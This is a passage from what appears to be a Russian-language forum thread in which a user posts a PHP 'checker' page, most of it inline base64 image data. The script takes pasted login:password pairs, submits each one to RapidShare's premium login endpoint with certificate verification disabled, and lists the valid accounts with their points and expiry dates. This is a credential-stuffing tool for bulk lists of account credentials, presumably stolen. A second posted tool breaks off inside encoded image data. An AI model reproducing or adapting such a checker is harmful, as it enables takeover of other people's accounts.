P/35QMP9gJwD/YCcA/2AnAP9gJwD/////////////////////////////////p6Oj/7Kvr///////r5N//2AnAP9gJwD/YCcA/2AnAP9gJwD/YCcA/////////////////////////////////5J6bP+OcF3/dEIg/2AnAP9gJwD/YCcA/2AnAP9gJwD/uaCP/4hdQP/////////////////////////////////h1s//ajUQ/2AnAP9gJwD/YCcA/2AnAP90QiD/18m//////////////////////////////////////////////////+HWz/90QiD/YCcA/35QMP/Drp////////////////////////////////////////////8AAAAA//////////////////////////////////////////////////////////////////////////8AAAAAgAEAwAAABskAAIMeAABtHgAAVx4AAEIeAAAsHgAAFx4A AAEeAADrHQAA1h0AAMAdAACrHQAAlR0AAH8dgAFqHQ==" type="image/x-icon">
<style>
.gr{color:green}
.rd{color:red}
</style>
</head>
<body>
<center>
<form method="post" action="">
<textarea name="accs" style="width:400px; height:240px; border:1px black solid; padding:3px; margin-top:25px; margin-bottom:15px; background:white url(data:image/gif;base64,R0lGODdh7gCrANUAALS+zNzi3MzS3Ozy7MTK1OT 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 1KyUIADs=) no-repeat center;"></textarea><br>
<input type="submit" value="чекнуть" style="border:1px #89B4CC solid;">
</form>
<?
/*
еси когота чегота не устраивает .. то вам надо понять основное, а именно МНЕ ПОХУЙ!
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
в четыре года, я играл на треугольнике в детском оркестре .. а ты?
- - - - - - - - - - - - - - - - - - - - - - - - - - -
чекер выводит такое вот - логин:пасс:колво поинтов:дата валида

(c) 159932
*/


function dt($a){
$mons = array('хуёвый месяц..', 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
preg_match('#(.+), (\d+)\. (.+) (\d+)#',$a,$m);
$day = $m[2]; $mon = $m[3]; $yer = $m[4];

if (date('Ymd', mktime(0, 0, 0, array_search($mon, $mons), $day, $yer)) > date('Ymd')) return date('d.m.Y', mktime(0, 0, 0, array_search($mon, $mons), $day, $yer));
else return 0;
}

if (isset($_POST['accs']{0})){
echo '<div style="border:1px solid #E5E8D5; width:420px; padding:18px; margin:40px; background-color:#FFFBF2; text-align:left; font-size:11">';
$accs = array();
foreach (explode("\n",trim($_POST['accs'])) as $cc){
$cc = trim($cc);
if(strpos($cc,':') == false) continue;
$accs[] = $cc;
}
$accs = array_unique($accs) or die('ахуеть .. а акки за тебя вписывать? невежда..</div></center></body></html>');

foreach ($accs as $acc){
$acc = explode(':',$acc);

$hof = curl_init('https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi');
curl_setopt($hof, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hof, CURLOPT_POST, 1);
curl_setopt($hof, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($hof, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($hof, CURLOPT_POSTFIELDS, 'uselandingpage=1&login='.$acc[0].'&password='.$acc[1]);
$a = curl_exec($hof);

if (strpos($a, $acc[0]) !== false){
preg_match('#<td>RapidPoints:</td><td align=right style="padding-right:20px;"><b>(\d+)</b></td>#',$a,$m1);
preg_match('#<td>Expiration date:</td><td style="padding-right:20px;"><b>(.+)</b></td>#',$a,$m2);
$m2[1] = dt($m2[1]);
echo '<font class="gr">'.$acc[0].':'.$acc[1].'</font>:';
if ($m2[1] && $m1[1] > 9999) echo '<font class="gr">'.$m1[1].':'.$m2[1].'</font><br>';
elseif ($m2[1] && $m1[1] < 9999) echo '<font class="rd">'.$m1[1].'</font>:<font class="gr">'.$m2[1].'</font><br>';
elseif ($m1[1] > 9999) echo '<font class="gr">'.$m1[1].'</font>:<font class="rd">'.$m2[1].'</font><br>';
else echo '<font class="rd">'.$m1[1].':'.$m2[1].'</font><br>';
}else{echo '<font class="rd">'.$acc[0].':'.$acc[1].'</font><br>';}
}

echo '</div>';
}
?></center></body></html>
http://rapidshare.com/files/207336248/4_rapid.php.html
а то пробелы форум лишние ставит=\

159932
10.03.2009, 03:04
<html>
<head>
<title>Дома чикаем .. на принадлежность открытых замков || скопипастил сам у себя, и посему не считаю это плагиатом ..</title>
<link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAA f8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFke XHJZTwAAAJcSURBVDjLpZPNS9RRFIaf+5tx/JqxUZGKQtEkyJBKw1ZhG0mSFkW1aVW7Wgpusv4CoX20KIgIKow gZSgwrIVghFQbM2swQRM/xmx05jf33nNaBJNWtKizPJzzcDjv+xpV5X8q+mvDPTdxVXpV6B ahQxVUGBchpcL1xEnNbp43my9wz02nCrdMfV+jSXagsRpQj+aW 8JkJwg8DaREuVJ/S0d8AbsSc0mTnYLDjPFqxDb8xiYTLqMuDKSMoa8bYgPDzA8KF0 dN15/RREWBHTI0qM5HWe3EJ1vD5NNhviAtRn/8BEcWU1hMpbeXr2MWsCA07z+tKAKBCb9DQH9cYSJgGt87I4yWQ AvgCL56B2Cxu7R0+/EjFvv64eHoBAgARekz1ESSfRl0OFcuxE+WoWNRbjnZmUQlRm8W tviaa3It4eooqiNBCaRWSW2X6bTWYBJhf5FFF3Qq7a54CId7TW ASokFOXj+EdNQ3tVNTuwQSRrfviWV94g64NgSoiRH5e4Eljcwc hRmU8R2J7M0G0ZAvA2xC/PIwJKhAfxYZMb/7BkF2awMTqCcJR7MYcsNmhil37CMv3iVYdILc0gy0wVJQxM2jq RPgUP3InLvY9bn2GSLKHkmQbqCdcfElh9iaR8l2YquPMPLmUdZ amQ1d0sWikxfvmTLSu60FZ/WmIfMNlXuFzc6jLY6IJIomDeJrITA6TmUqdbevXh79Zef6u6RL PjcqWvsZY7X6CkgDE4ULP+vwUX8YG0s5yuf2qpv6YBYDZ2yYun j4Rur2nwxXAWcadJeUsA4ev/SVM/1LfAVOtXW4xpbWpAAAAAElFTkSuQmCC" type="image/x-icon">
<style>
<!--
image {
border:0;
}
body {
font-family: verdana, arial, helvetica, sans-serif;
margin:0;
padding:0;
text-align:center;
font-size:0.7em;
background:#FFFFFF;
}
-->
</style>
</head>
<body>
<center><br><br>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAXAAAAByCAIAAAD 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 